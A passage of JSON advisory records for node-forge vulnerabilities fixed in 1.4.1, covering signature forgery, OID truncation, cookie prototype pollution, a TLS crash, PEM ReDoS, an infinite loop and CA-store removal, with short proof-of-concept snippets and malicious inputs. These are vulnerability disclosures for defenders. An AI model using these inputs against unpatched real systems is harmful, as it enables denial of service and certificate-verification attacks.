\u003cH\u003e)\n\nLong-form lengths are accepted the same way for the DigestAlgorithm, OID, NULL and digest fields. A signature whose EMSA-PKCS1-v1_5 block (00 01 FF..FF 00 || DigestInfo) contains such an encoding verified as valid: `publicKey.verify(digest, signature)` returned true. Content bytes in the NULL parameters (reports used e.g. `05 40 \u003c64 bytes\u003e`) and similar slack give an attacker room to construct a forged signature for an e=3 key. With 1.4.1, verification throws \"ASN.1 object does not contain a valid RSASSA-PKCS1-v1_5 DigestInfo value.\"\n\nRegression tests: tests/unit/rsa.js, \"canonical DigestInfo checks\". They use an e=1 key, so the signature equals the encoded block, with one test per non-canonical shape (also indefinite length, constructed and non-NULL parameters, padded OID subidentifiers) and two tests that the canonical encodings with and without NULL parameters still verify. Included in the 1.4.1 release.\n\n### Impact\nApplications that verify RSASSA-PKCS1-v1_5 signatures with node-forge: `publicKey.verify()` with the default scheme, and X.509 certificate and PKCS#7 signature verification, which use it. If the verifying RSA public key has a low public exponent (e=3), an attacker can forge a signature that verifies as valid, without the private key. Only keys with a small public exponent such as e=3 are practically affected.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-11-10T15:57:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-2g46-22mc-6gwp","https://github.com/digitalbazaar/forge/security/advisories/GHSA-6qrw-m8cv-hcxf","https://github.com/digitalbazaar/forge/commit/2bce9d477a2ff436e86ff9694ae999f1552aa2bb","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-6qrw-m8cv-hcxf"],"source_kind":"github","identifiers":["GHSA-6qrw-m8cv-hcxf","CVE-2026-119192"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-11-10T16:01:00.476Z","updated_at":"2026-11-11T06:01:44.001Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cXJ3LW04Y3YtaGN4Zs4ACBXf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cXJ3LW04Y3YtaGN4Zs4ACBXf","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cXJ3LW04Y3YtaGN4Zs4ACBXf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NjQyLTVtY2otMnJxd84ACALK","url":"https://github.com/advisories/GHSA-4642-5mcj-2rqw","title":"Forge: ASN.1 OID first arc truncation in asn1.oidToDer","description":"### Summary\n\n`asn1.oidToDer()` did not range-check the first two arcs of an OID string, so an OID such as `0.42.840.113549.1.1.1` or `4294977127.18.840.113549.1.1.1` was encoded as the DER of a different OID (here rsaEncryption, `1.2.840.113549.1.1.1`). This is an incomplete fix of CVE-2025-66030. Fixed in node-forge 1.4.1.\n\n### Details\n\nX.690 section 8.19 encodes the first two arcs of an OID as one subidentifier, `40 * arc1 + arc2`, where the first arc is 0, 1 or 2 and the second arc is at most 39 when the first is 0 or 1. `asn1.oidToDer()` in `lib/asn1.js` computed that value with no range check and wrote it with `putByte()`, which keeps only the low 16 bits. Out-of-range first arcs therefore produced the encoding of a different OID: `0.42.840.113549.1.1.1` gives `40 * 0 + 42 = 42` and `4294977127.18.840.113549.1.1.1` wraps to 42, both the first byte of rsaEncryption. The fix for CVE-2025-66030 (GHSA-65ch-62r8-g69g, node-forge 1.3.2) added a 32-bit check for the later arcs only.\n\nA related encoding bug made valid OIDs with a first subidentifier above 127 (`2.48` and higher, e.g. `2.999`) encode and decode incorrectly, because the first subidentifier was always written and read as a single byte.\n\nThe fix rejects out-of-range first arcs and encodes and decodes the first subidentifier in base 128 like the others (the latter from public PR #1148).\n\n### Patches\nFixed in node-forge 1.4.1. `asn1.oidToDer()` throws for OIDs with out-of-range first arcs, and the first subidentifier is encoded and decoded correctly.\n\n### Workarounds\nValidate OID strings from untrusted input before passing them to node-forge: the first arc must be 0, 1 or 2, and the second arc at most 39 when the first arc is 0 or 1.\n\n### Credits\nReported by wzc. The first subidentifier encoding fix is from PR #1148 by @spokodev.\n\n### Proof of concept\n\n    var forge = require('node-forge');\n    var der = forge.asn1.oidToDer('0.42.840.113549.1.1.1');\n    console.log(der.toHex()); // 2a864886f70d010101\n    console.log(forge.asn1.derToOid(der)); // 1.2.840.113549.1.1.1\n\nOn 1.4.0 the out-of-range OID string encodes to exactly the DER of rsaEncryption (the same happens with `4294977127.18.840.113549.1.1.1`). On 1.4.1 `oidToDer()` throws \"Invalid OID; the first two arcs are out of range.\".\n\nRegression tests are in tests/unit/asn1.js (\"should reject OIDs with out of range first arcs\").\n\n### Impact\n\nApplications that accept OID strings from untrusted input, check or authorize them as strings, and then encode them with node-forge (for example when building certificates, CSRs or other ASN.1 structures from user-supplied extension or attribute OIDs) can be made to emit a different, trusted OID than the one that was checked. Parsing DER is not affected. There is no confidentiality or availability impact.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-30T23:02:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-4642-5mcj-2rqw","https://nvd.nist.gov/vuln/detail/CVE-2026-118775","https://github.com/digitalbazaar/forge/commit/e56a3dde8e4e63bae566bb32546eeaf92f515e1e","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-4642-5mcj-2rqw"],"source_kind":"github","identifiers":["GHSA-4642-5mcj-2rqw","CVE-2026-118775"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-06T02:00:19.086Z","epss_percentage":0.00312,"epss_percentile":0.24248,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjQyLTVtY2otMnJxd84ACALK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NjQyLTVtY2otMnJxd84ACALK","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjQyLTVtY2otMnJxd84ACALK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02d3Z4LTNyMzIteG1jZ84ACALJ","url":"https://github.com/advisories/GHSA-6wvx-3r32-xmcg","title":"Forge: Prototype Pollution in forge.http cookie handling via a malicious Set-Cookie","description":"### Summary\nThe `forge.http` client stored cookies from `Set-Cookie` response headers in a plain object keyed by cookie name and path. A malicious server could use the cookie name `__proto__` to add properties to `Object.prototype`, use inherited names such as `constructor` to add properties to `Object`, and send an empty cookie value to delete `Object.prototype` properties. Fixed in node-forge 1.4.1.\n\n### Details\n`client.setCookie()` in `lib/http.js` stored a cookie with `client.cookies[cookie.name][cookie.path] = cookie`, creating `client.cookies[cookie.name]` only when `!(cookie.name in client.cookies)`. Both values come from the server's `Set-Cookie` header via `response.getCookies()`. Because `in` also sees inherited properties:\n\n- a cookie named `__proto__` skipped the initialization, `client.cookies['__proto__']` returned `Object.prototype`, and the cookie path was written as a new `Object.prototype` property, visible on every object;\n- a cookie named `constructor` wrote onto the global `Object` function the same way;\n- a cookie with an empty value calls `client.removeCookie(name, path)`, which used the same `in` checks and then `delete client.cookies[name][path]`, so `Set-Cookie: __proto__=; path=toString` deleted `Object.prototype.toString`. This path skipped the cookie's secure-flag and domain checks, so it also worked for `http://` clients.\n\n`forge.http` is not loaded by `require('node-forge')`. It is included in the `forge.all` browser bundle and is used with a socket pool, for example by `forge.xhr`.\n\nThe fix uses own-property checks for the cookie store and ignores cookies named `__proto__` or with the path `__proto__`.\n\n#### Patches\nFixed in node-forge 1.4.1. Cookies from a server can no longer add or remove properties of `Object.prototype` or `Object`.\n\n#### Workarounds\nDon't use `forge.http` or `forge.xhr` with servers that aren't trusted, or filter `Set-Cookie` headers named `__proto__`, `constructor` or other `Object.prototype` property names before they reach the client.\n\n#### Credits\nReported by @arunmozhivarman-dtx and @Dremig.\n\n### Proof of concept\nA server response for a `forge.http` client (`http.createClient({url: 'https://...', socketPool: ...})`) containing:\n\n    Set-Cookie: __proto__=evil; path=polluted\n\nOn 1.4.0, after the client processes the response, `({}).polluted` is the cookie object. With `Set-Cookie: __proto__=; path=toLocaleString`, `Object.prototype.toLocaleString` is deleted (for `http://` and `https://` clients). On 1.4.1 these cookies are ignored and `Object.prototype` is unchanged.\n\nRegression tests are in tests/security/ghsa-6wvx-3r32-xmcg.js.\n\n### Impact\nApplications that use the `forge.http` client (directly, or through `forge.xhr` in the `forge.all` browser bundle) against a server that can be malicious are affected. The server can add properties to `Object.prototype` and `Object` for the whole JavaScript realm, which can change application logic that reads properties from plain objects, and can delete built-in `Object.prototype` methods, breaking the page or process. Applications that don't use `forge.http` are not affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-30T23:02:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-6wvx-3r32-xmcg","https://nvd.nist.gov/vuln/detail/CVE-2026-118777","https://github.com/digitalbazaar/forge/commit/797c3f816a22748a96fceebb34eb3a6716853991","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-6wvx-3r32-xmcg"],"source_kind":"github","identifiers":["GHSA-6wvx-3r32-xmcg","CVE-2026-118777"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-06T02:00:19.087Z","epss_percentage":0.00275,"epss_percentile":0.20081,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02d3Z4LTNyMzIteG1jZ84ACALJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02d3Z4LTNyMzIteG1jZ84ACALJ","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02d3Z4LTNyMzIteG1jZ84ACALJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MjV2LTlncDktdzIyaM4ACALI","url":"https://github.com/advisories/GHSA-525v-9gp9-w22h","title":"Forge: TLS client crash when the server sends no certificate","description":"### Summary\nThe forge TLS client's check for a missing server certificate read the wrong property and never ran. A malicious TLS server, or an on-path attacker who removes the server's Certificate message, can make `connection.process()` throw a `TypeError`, which crashes applications that use the forge TLS client. Fixed in node-forge 1.4.1.\n\n### Details\nAfter ServerHelloDone, `tls.handleServerHelloDone()` in `lib/tls.js` is meant to reject a server that sent no certificate with a fatal `insufficient_security` alert, after consulting the application's `verify` callback. The check tested `c.serverCertificate`, which is never set (the certificate is stored as `c.session.serverCertificate`), so it never ran. The client state machine allows ServerHelloDone directly after ServerHello, so the handshake continued to `tls.createClientKeyExchange()`, which reads `c.session.serverCertificate.publicKey` and throws a `TypeError` on the null certificate. The exception propagates out of `connection.process()` without calling the `verify` or `error` callbacks.\n\nThere is no authentication bypass: without a server certificate the client cannot build its RSA key exchange, so the handshake cannot complete.\n\nThe fix reads `c.session.serverCertificate` and always fails the handshake in that case, still calling `verify` so the application can customize the alert. Failing even when `verify` returns `true` is needed because the key exchange requires the certificate.\n\n#### Patches\nFixed in node-forge 1.4.1. The TLS client fails the handshake with an `insufficient_security` alert when the server sends no certificate.\n\n#### Workarounds\nCatch exceptions thrown by `connection.process()` in the code that feeds it network data, and close the connection when one occurs.\n\n#### Credits\nReported by @arpitjain099.\n\n### Proof of concept\nConnect a forge TLS client (`forge.tls.createConnection({server: false, ...})`) to a server whose first flight contains ServerHello and ServerHelloDone but no Certificate message. For example, run a forge TLS server and remove the Certificate handshake message (type 11) from its first flight before passing it to the client's `process()`.\n\nOn 1.4.0 the client's `process()` throws \"TypeError: Cannot read properties of null (reading 'publicKey')\", and the `verify` and `error` callbacks are not called. On 1.4.1 the client calls `verify` with `insufficient_security` and no certificates, calls `error` with \"No server certificate provided. Not enough security.\", sends a fatal alert and closes the connection.\n\nRegression tests are in tests/unit/tls.js (\"missing server certificate\").\n\n### Impact\nApplications that use the forge TLS client (`forge.tls.createConnection` with `server: false`) are affected. A malicious server the application connects to, or an on-path attacker who can modify the unauthenticated handshake, can make the client throw from `connection.process()`. Since `process()` is normally called from a socket data handler, the uncaught exception terminates a Node.js process. There is no confidentiality or integrity impact. Applications using Node.js's own TLS implementation are not affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-30T23:02:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-525v-9gp9-w22h","https://nvd.nist.gov/vuln/detail/CVE-2026-118778","https://github.com/digitalbazaar/forge/commit/7be9fbd40df2e2f15f29fea2846b1c87d58f6888","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-525v-9gp9-w22h"],"source_kind":"github","identifiers":["GHSA-525v-9gp9-w22h","CVE-2026-118778"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.330Z","epss_percentage":0.00204,"epss_percentile":0.10384,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MjV2LTlncDktdzIyaM4ACALI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01MjV2LTlncDktdzIyaM4ACALI","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MjV2LTlncDktdzIyaM4ACALI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03d2NoLXA5cHgtOTU2eM4ACALH","url":"https://github.com/advisories/GHSA-7wch-p9px-956x","title":"Forge: Regular expression denial of service in PEM decoding (pem.decode)","description":"### Summary\n`pem.decode()`, which every node-forge API that parses PEM input uses, split messages with a regular expression that takes polynomial time on input without a matching END line, and parsed encapsulated headers with regular expressions that take quadratic time on long header lines. A remote attacker can block the Node.js event loop for seconds to minutes with a crafted input of a few tens of kilobytes. Fixed in node-forge 1.4.1.\n\n### Details\n`pem.decode()` in `lib/pem.js` found PEM messages with this regular expression:\n\n    /\\s*-----BEGIN ([A-Z0-9- ]+)-----\\r?\\n?([\\x21-\\x7e\\s]+?(?:\\r?\\n\\r?\\n))?([:A-Za-z0-9+\\/=\\s]+?)-----END \\1-----/g\n\nThe optional headers group and the body group are adjacent, lazy, and share characters (whitespace and the base64 alphabet), and the match must end with an END line whose label equals the BEGIN label (`\\1`). When no such END line follows, the engine tries every split of the text between the two groups, for every label split and at every BEGIN line in the input. The work grows polynomially with the input length (roughly cubic for repeated BEGIN/END lines with mismatched labels, quadratic for a BEGIN line followed by many newlines).\n\nThe encapsulated header parsing in the same function had two smaller quadratic cases: trimming each header line with `/\\s+$/`, and an unanchored header regex `([\\x21-\\x7e]+):...` that retries at every position of a long line without a colon. These are reachable when a message does match.\n\nAll PEM entry points call `pem.decode()`, including `pki.certificateFromPem()`, `pki.privateKeyFromPem()`, `pki.publicKeyFromPem()`, `pki.certificationRequestFromPem()`, `pki.encryptedPrivateKeyFromPem()`, `pki.decryptRsaPrivateKey()` and `pkcs7.messageFromPem()`.\n\nThe fix replaces the message regular expression with a scanner that indexes the END lines once and matches each BEGIN line in linear time, finding the same messages as before. The one difference: a label containing `-----` (`-----BEGIN A-----B-----`) was matched as `A-----B` if possible; now only the shortest label, `A`, is used. RFC 7468 labels can't contain `--`. Header parsing now trims lines with a loop and only starts a header match at the beginning of a run of printable characters, which gives the same result.\n\n#### Patches\nFixed in node-forge 1.4.1. PEM messages and encapsulated headers are now parsed in linear time.\n\n#### Workarounds\nRejecting untrusted PEM input larger than a few kilobytes before passing it to node-forge limits the delay but doesn't remove it: on 1.4.0, about 7 KB of crafted input blocked for 0.4 s, and 29 KB for 24 s.\n\n#### Credits\nReported by Ahmed Mokhtari (@AhmedMokhtari), @mwlik and @imenyoo2, and independently by @offset, @bibu123456 (coordinated by @Kayiz-PT), and @Mucahic.\n\n### Proof of concept\n    var forge = require('node-forge');\n    var pem = ' -----BEGIN I-----G-----END B'.repeat(1000) + '\\x00'; // 29 KB\n    try {\n      forge.pki.certificateFromPem(pem);\n    } catch(e) {}\n\nOn 1.4.0 (Node.js 24) this call blocks for about 24 seconds before throwing \"Invalid PEM formatted message.\"; 14 KB takes about 3 seconds. A BEGIN line followed by 32 KB of newlines and no END line takes about 1.5 seconds, and the time grows quadratically from there. On 1.4.1 each of these inputs is rejected in a few milliseconds, and 1 MB inputs of any of these shapes take under 100 ms.\n\nThe PoC is in tests/pocs/ghsa-7wch-p9px-956x.js. Regression tests are in tests/unit/pem.js (\"GHSA-7wch-p9px-956x ReDoS checks\").\n\n### Impact\nAny application that passes untrusted PEM text to node-forge is affected: for example, services that accept uploaded certificates, keys or certificate signing requests, or that parse certificates from configuration, SAML metadata or other user-supplied documents. A remote, unauthenticated attacker can send a small crafted input that blocks the Node.js event loop for seconds to minutes per request, so the process stops serving other requests. Repeated requests keep it unavailable. There is no confidentiality or integrity impact.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:02:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-7wch-p9px-956x","https://nvd.nist.gov/vuln/detail/CVE-2026-118779","https://github.com/digitalbazaar/forge/commit/412345db583cd28a9d23636d0d93e9f751b935f3","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-7wch-p9px-956x"],"source_kind":"github","identifiers":["GHSA-7wch-p9px-956x","CVE-2026-118779"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.330Z","epss_percentage":0.00556,"epss_percentile":0.46508,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2NoLXA5cHgtOTU2eM4ACALH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03d2NoLXA5cHgtOTU2eM4ACALH","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03d2NoLXA5cHgtOTU2eM4ACALH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oNmNyLXdqdjktM2NwcM4ACALG","url":"https://github.com/advisories/GHSA-h6cr-wjv9-3cpp","title":"Forge: Denial of Service via infinite loop in BigInteger.modInverse() with negative input (incomplete fix of CVE-2026-33891)","description":"### Summary\n\n`BigInteger.prototype.modInverse()` in node-forge's bundled jsbn library enters an infinite loop when the value or the modulus is negative, for example when a negative public exponent is passed to `forge.pki.rsa.generateKeyPair()`. This is an incomplete fix of CVE-2026-33891 (GHSA-5m6q-g25r-mvwx), which handled only a zero value. Fixed in node-forge 1.4.1.\n\n### Details\n\n`bnModInverse()` (`lib/jsbn.js`, exposed as `forge.jsbn.BigInteger.prototype.modInverse`) implements the binary extended Euclidean algorithm (Handbook of Applied Cryptography, Algorithm 14.61), which is defined for positive integers. With a negative operand the loop cannot terminate: `rShiftTo` is an arithmetic shift, so a negative value never moves towards zero, and the loop's exit condition (`u` reaching zero) is never met. The calling thread spins at 100% CPU indefinitely; in Node.js this blocks the event loop. Memory does not grow.\n\nnode-forge 1.4.0 fixed CVE-2026-33891 (GHSA-5m6q-g25r-mvwx) by returning zero early when `this.signum() == 0`, although its changelog describes the check as \"\u003c= 0\". Negative values were not covered, and a negative modulus was never handled. Every negative input that did terminate already returned zero.\n\nWithin node-forge, RSA key generation is the only path to a negative operand: the caller's public exponent `e` becomes `BigInteger.fromInt(e)`, and `state.e.modInverse(state.phi)` is called with it. `gcd()` works on absolute values, so the coprimality checks pass and the loop is reached. Any exponent other than 3 or 65537 uses the pure JavaScript implementation, even when `forge.options.usePureJavaScript` is not set. RFC 8017, Section 3.1 requires the RSA public exponent to be at least 3.\n\nValues that node-forge parses (DER, PEM, JWK, PKCS#12, X.509, TLS) are always read as unsigned integers and cannot produce a negative operand.\n\nThe fix makes `modInverse()` return zero when the value or the modulus is zero or negative, as it already does when no inverse exists. Results for positive inputs are unchanged.\n\nThis issue was reported by wzc.\n\n### Patches\nFixed in node-forge 1.4.1. `modInverse()` now returns zero when the value or the modulus is zero or negative.\n\n### Workarounds\n- Pass only fixed, valid RSA public exponents (e.g. 65537) to key generation, or validate caller-supplied exponents first: an odd integer `\u003e= 3`.\n- Do not call `BigInteger#modInverse()` with negative operands. Reduce the value modulo a positive modulus first (`x.mod(m).modInverse(m)`).\n\n### Proof of concept\n\nA negative public exponent passed to RSA key generation never returns (also with the callback form and with `createKeyPairGenerationState()` / `stepKeyPairGenerationState()`):\n\n    var forge = require('node-forge');\n    forge.pki.rsa.generateKeyPair({bits: 256, e: -1});  // hangs at 100% CPU\n\nCalling `modInverse()` directly with a negative value or modulus hangs the same way:\n\n    var BigInteger = forge.jsbn.BigInteger;\n    new BigInteger('-1').modInverse(new BigInteger('7'));  // hangs\n    new BigInteger('3').modInverse(new BigInteger('-7'));  // hangs\n\nWith the fix, these calls return zero. The regression tests are in `tests/unit/jsbn.js`.\n\n### Impact\n\nApplications are affected only if they:\n- pass an untrusted value as the RSA public exponent `e` to `forge.pki.rsa.generateKeyPair()`, `forge.pki.rsa.createKeyPairGenerationState()` or `forge.pki.rsa.stepKeyPairGenerationState()`, or\n- call `forge.jsbn.BigInteger#modInverse()` directly with negative values derived from untrusted input.\n\nAn attacker who can supply such a value makes the call hang indefinitely at 100% CPU, which blocks the Node.js event loop (denial of service). Keys and other data parsed by node-forge (DER, PEM, JWK, PKCS#12, X.509, TLS) cannot trigger this issue, and the documented usage of key generation passes a constant exponent (65537). There is no effect on confidentiality or integrity.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-30T23:02:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.9,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-h6cr-wjv9-3cpp","https://nvd.nist.gov/vuln/detail/CVE-2026-118781","https://github.com/digitalbazaar/forge/commit/e96c47b7f006dec66fb7bb1934e7375498b04a72","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-h6cr-wjv9-3cpp"],"source_kind":"github","identifiers":["GHSA-h6cr-wjv9-3cpp","CVE-2026-118781"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.331Z","epss_percentage":0.00119,"epss_percentile":0.0174,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNmNyLXdqdjktM2NwcM4ACALG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNmNyLXdqdjktM2NwcM4ACALG","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 1.4.0"}],"purl":"pkg:npm/node-forge"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNmNyLXdqdjktM2NwcM4ACALG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NDg3LWo4cjQtNGcyZs4ACALF","url":"https://github.com/advisories/GHSA-4487-j8r4-4g2f","title":"Forge: verifyCertificateChain() removes trusted CA certificates with the same subject from the CA store","description":"### Summary\n\nWhen a CA store created by `pki.createCaStore()` holds two or more certificates with the same subject name, `pki.verifyCertificateChain()` permanently removes those certificates from the store while trying each one as the issuer. A peer can send any certificate that names that subject as its issuer to make all later verifications against those CA certificates fail. Fixed in node-forge 1.4.1.\n\n### Details\n\n`pki.verifyCertificateChain()` (`lib/x509.js`) asks the CA store for the issuer of each certificate with `caStore.getIssuer()`. When the store holds several certificates with the same subject, `caStore.getIssuer()` returns the store's own internal array of those certificates (`caStore.certs[hash]`, built by `addCertificate()`). `verifyCertificateChain()` used that array directly as its list of candidate parents and called `parents.shift()` on it while trying each candidate. Every candidate it tried, including the one that finally verified the certificate, was removed from the store.\n\nOnce the array is empty, `getIssuer()` returns an empty list, no candidate is tried, and verification fails with \"Certificate signature is invalid.\" `hasCertificate()` and `listAllCertificates()` no longer see the removed certificates. The store stays in this state for as long as the object is used.\n\nThe attacker's certificate only needs an issuer name equal to the shared subject name, which is public. Its signature and key can be arbitrary: every candidate is tried and shifted out because none verifies, and errors from `parent.verify()` are caught by the loop. Verification of the attacker's chain fails as expected. Verifying valid chains has a similar effect: the CA certificate that verified the chain and any tried before it are removed.\n\nNo chain is accepted that should be rejected. Removing candidates can only turn a success into a failure.\n\nRFC 5280, Section 6.1.1(d) treats trust anchor information as an input to path validation. Validation should not consume it.\n\nThe fix copies the array returned by `getIssuer()` before iterating over it, so the CA store is no longer modified. `getIssuer()` itself is unchanged.\n\n### Patches\nFixed in node-forge 1.4.1. `pki.verifyCertificateChain()` now works on a copy of the candidate issuer list instead of shifting entries out of the CA store.\n\n### Workarounds\n- Pass a fresh CA store to each `pki.verifyCertificateChain()` call (for example `pki.createCaStore(trustedCerts)`), or pass `caStore` to `forge.tls.createConnection()` as an array of certificates instead of a store object, so that forge creates a new store per connection.\n- Or wrap the store so that `getIssuer()` returns a copy:\n\n      var getIssuer = caStore.getIssuer;\n      caStore.getIssuer = function(cert) {\n        var r = getIssuer(cert);\n        return Array.isArray(r) ? r.slice() : r;\n      };\n\n### Proof of concept\n\nTwo trusted self-signed CA certificates, `rootA` and `rootB`, share the subject `CN=Root`. `bogus` is any certificate whose issuer is `CN=Root`, signed with an unrelated key. `leafA` is a valid certificate issued by `rootA`.\n\n    var caStore = forge.pki.createCaStore([rootA, rootB]);\n    caStore.listAllCertificates().length;  // 2\n    try { forge.pki.verifyCertificateChain(caStore, [bogus]); } catch(e) {}\n    // rejected as expected (\"Certificate signature is invalid.\")\n    caStore.listAllCertificates().length;  // 0: both CA certificates are gone\n    forge.pki.verifyCertificateChain(caStore, [leafA]);\n    // throws \"Certificate signature is invalid.\" (valid chain now rejected)\n\nWithout the attacker certificate, verifying `leafA` twice against a fresh store gives the same result: the first call succeeds and removes `rootA`, the second fails. With the fix, the store keeps both certificates and every valid chain verifies. The regression tests are in `tests/unit/x509.js` (\"CA store\" section).\n\n### Impact\n\nApplications that keep a long-lived CA store holding several trusted certificates with the same subject name, and that verify certificate chains received from other parties with `pki.verifyCertificateChain()`. This includes `forge.tls` clients that pass the same `caStore` object to several connections. Duplicate subject names occur with re-keyed or renewed CAs that kept their name, or a CA next to a cross-signed version of itself, mostly in private PKIs.\n\nA remote, unauthenticated peer (for example a malicious TLS server or a party submitting a signed document) can send a certificate naming the shared subject as its issuer. This removes every certificate with that subject from the store, so later verifications of valid chains issued by those CA certificates fail until the store is recreated. This is a persistent denial of service for certificate verification against those CA certificates. Verification against other trusted CAs keeps working, no invalid chain is accepted, and stores without duplicate subject names are not affected.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-10-30T23:02:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/digitalbazaar/forge/security/advisories/GHSA-4487-j8r4-4g2f","https://nvd.nist.gov/vuln/detail/CVE-2026-118780","https://github.com/digitalbazaar/forge/commit/f6555609bd30f442fbfacd543155928ceccf98d0","https://github.com/digitalbazaar/forge/releases/tag/v1.4.1","https://github.com/advisories/GHSA-4487-j8r4-4g2f"],"source_kind":"github","identifiers":["GHSA-4487-j8r4-4g2f","CVE-2026-118780"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-05T13:00:21.332Z","epss_percentage":0.00172,"epss_percentile":0.06637,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDg3LWo4cjQtNGcyZs4ACALF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NDg3LWo4cjQtNGcyZs4ACALF","packages":[{"ecosystem":"npm","package_name":"node-forge","versions":[{"first_patched_version":"1.4.1","vulnerable_version_range":"\u003c= 